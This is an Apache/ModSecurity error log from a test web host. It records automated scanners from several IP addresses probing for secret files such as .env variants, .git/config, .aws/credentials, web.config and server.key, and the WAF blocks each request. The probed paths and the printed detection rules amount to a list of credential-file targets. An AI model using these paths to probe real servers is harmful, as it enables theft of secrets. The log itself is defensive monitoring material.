[Sun Mar 09 19:17:27.534506 2025] [:error] [pid 1661010] [client 45.148.10.237:48260] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z83bN6dqfb713GEcCO4g7QAAAAI"]
[Sun Mar 09 19:17:28.085073 2025] [:error] [pid 1661337] [client 45.148.10.237:48436] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z83bOEDqCpAfbNQ_tz1thwAAAAg"]
[Sun Mar 09 19:17:28.085325 2025] [:error] [pid 1661337] [client 45.148.10.237:48436] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z83bOEDqCpAfbNQ_tz1thwAAAAg"]
[Sun Mar 09 19:17:28.085484 2025] [:error] [pid 1661337] [client 45.148.10.237:48436] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z83bOEDqCpAfbNQ_tz1thwAAAAg"]
[Sun Mar 09 19:17:28.221248 2025] [:error] [pid 1661024] [client 45.148.10.237:48502] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z83bOIj7A5zkImPzPl8TXgAAAAU"]
[Sun Mar 09 19:17:28.222110 2025] [:error] [pid 1661024] [client 45.148.10.237:48502] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z83bOIj7A5zkImPzPl8TXgAAAAU"]
[Sun Mar 09 19:17:28.222646 2025] [:error] [pid 1661024] [client 45.148.10.237:48502] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z83bOIj7A5zkImPzPl8TXgAAAAU"]
[Sun Mar 09 19:17:28.398771 2025] [:error] [pid 1661339] [client 45.148.10.237:48546] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /login/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z83bOAictaUf718xO-joQgAAAAo"]
[Sun Mar 09 19:17:28.399225 2025] [:error] [pid 1661339] [client 45.148.10.237:48546] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z83bOAictaUf718xO-joQgAAAAo"]
[Sun Mar 09 19:17:28.399474 2025] [:error] [pid 1661339] [client 45.148.10.237:48546] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z83bOAictaUf718xO-joQgAAAAo"]
[Sun Mar 09 19:17:28.497715 2025] [:error] [pid 1661010] [client 45.148.10.237:48592] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8QAAAAI"]
[Sun Mar 09 19:17:28.497970 2025] [:error] [pid 1661010] [client 45.148.10.237:48592] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8QAAAAI"]
[Sun Mar 09 19:17:28.498156 2025] [:error] [pid 1661010] [client 45.148.10.237:48592] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8QAAAAI"]
[Sun Mar 09 19:17:28.690273 2025] [:error] [pid 1661339] [client 45.148.10.237:48630] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z83bOAictaUf718xO-joQwAAAAo"]
[Sun Mar 09 19:17:28.690779 2025] [:error] [pid 1661339] [client 45.148.10.237:48630] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z83bOAictaUf718xO-joQwAAAAo"]
[Sun Mar 09 19:17:28.691109 2025] [:error] [pid 1661339] [client 45.148.10.237:48630] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z83bOAictaUf718xO-joQwAAAAo"]
[Sun Mar 09 19:17:28.888302 2025] [authz_core:error] [pid 1666478] [client 45.148.10.237:48684] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Sun Mar 09 19:17:28.977156 2025] [:error] [pid 1661010] [client 45.148.10.237:48736] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8wAAAAI"]
[Sun Mar 09 19:17:28.977410 2025] [:error] [pid 1661010] [client 45.148.10.237:48736] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8wAAAAI"]
[Sun Mar 09 19:17:28.977576 2025] [:error] [pid 1661010] [client 45.148.10.237:48736] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z83bOKdqfb713GEcCO4g8wAAAAI"]
[Sun Mar 16 19:08:03.779707 2025] [authz_core:error] [pid 1825656] [client 206.81.24.74:44270] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Mar 16 19:08:04.509219 2025] [:error] [pid 1825652] [client 206.81.24.74:44294] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z9cThMV7aMz_k12fWNOfZgAAAAg"]
[Sun Mar 16 19:08:04.509743 2025] [:error] [pid 1825652] [client 206.81.24.74:44294] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z9cThMV7aMz_k12fWNOfZgAAAAg"]
[Sun Mar 16 19:08:04.510202 2025] [:error] [pid 1825652] [client 206.81.24.74:44294] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z9cThMV7aMz_k12fWNOfZgAAAAg"]
[Sun Mar 16 19:08:04.579164 2025] [:error] [pid 1825671] [client 206.81.24.74:44308] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9cThACK-9_3YmSrShN8WgAAAAI"]
[Sun Mar 16 19:08:04.579690 2025] [:error] [pid 1825671] [client 206.81.24.74:44308] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9cThACK-9_3YmSrShN8WgAAAAI"]
[Sun Mar 16 19:08:04.580137 2025] [:error] [pid 1825671] [client 206.81.24.74:44308] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9cThACK-9_3YmSrShN8WgAAAAI"]
[Sun Mar 16 19:08:04.632378 2025] [:error] [pid 1825660] [client 206.81.24.74:44316] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9cThBDNyGz6V5IwAI_3mwAAAA4"]
[Sun Mar 16 19:08:04.632771 2025] [:error] [pid 1825660] [client 206.81.24.74:44316] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9cThBDNyGz6V5IwAI_3mwAAAA4"]
[Sun Mar 16 19:08:04.633112 2025] [:error] [pid 1825660] [client 206.81.24.74:44316] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9cThBDNyGz6V5IwAI_3mwAAAA4"]
[Sun Mar 16 22:10:56.618339 2025] [:error] [pid 1825865] [client 109.202.99.36:21623] [client 109.202.99.36] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z9c-YNDykrj6007vS_1SgAAAAAY"]
[Sun Mar 16 22:10:56.618607 2025] [:error] [pid 1825865] [client 109.202.99.36:21623] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z9c-YNDykrj6007vS_1SgAAAAAY"]
[Sun Mar 16 22:10:56.618786 2025] [:error] [pid 1825865] [client 109.202.99.36:21623] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z9c-YNDykrj6007vS_1SgAAAAAY"]
[Sun Mar 16 22:10:57.189570 2025] [:error] [pid 1828141] [client 109.202.99.36:9467] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z9c-YQQ0GIesywviwWg0kgAAAAg"]
[Sun Mar 16 22:10:57.189734 2025] [:error] [pid 1828141] [client 109.202.99.36:9467] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z9c-YQQ0GIesywviwWg0kgAAAAg"]
[Sun Mar 16 22:10:57.189972 2025] [:error] [pid 1828141] [client 109.202.99.36:9467] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z9c-YQQ0GIesywviwWg0kgAAAAg"]
[Sun Mar 16 22:10:57.190133 2025] [:error] [pid 1828141] [client 109.202.99.36:9467] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z9c-YQQ0GIesywviwWg0kgAAAAg"]
[Sun Mar 16 22:10:57.191698 2025] [authz_core:error] [pid 1825873] [client 109.202.99.36:3379] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Mar 16 22:10:57.193218 2025] [:error] [pid 1825650] [client 109.202.99.36:16765] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z9c-YQ-ZARtfKZhjYYBg_wAAAAc"]
[Sun Mar 16 22:10:57.193545 2025] [:error] [pid 1825650] [client 109.202.99.36:16765] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z9c-YQ-ZARtfKZhjYYBg_wAAAAc"]
[Sun Mar 16 22:10:57.193726 2025] [:error] [pid 1825650] [client 109.202.99.36:16765] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z9c-YQ-ZARtfKZhjYYBg_wAAAAc"]
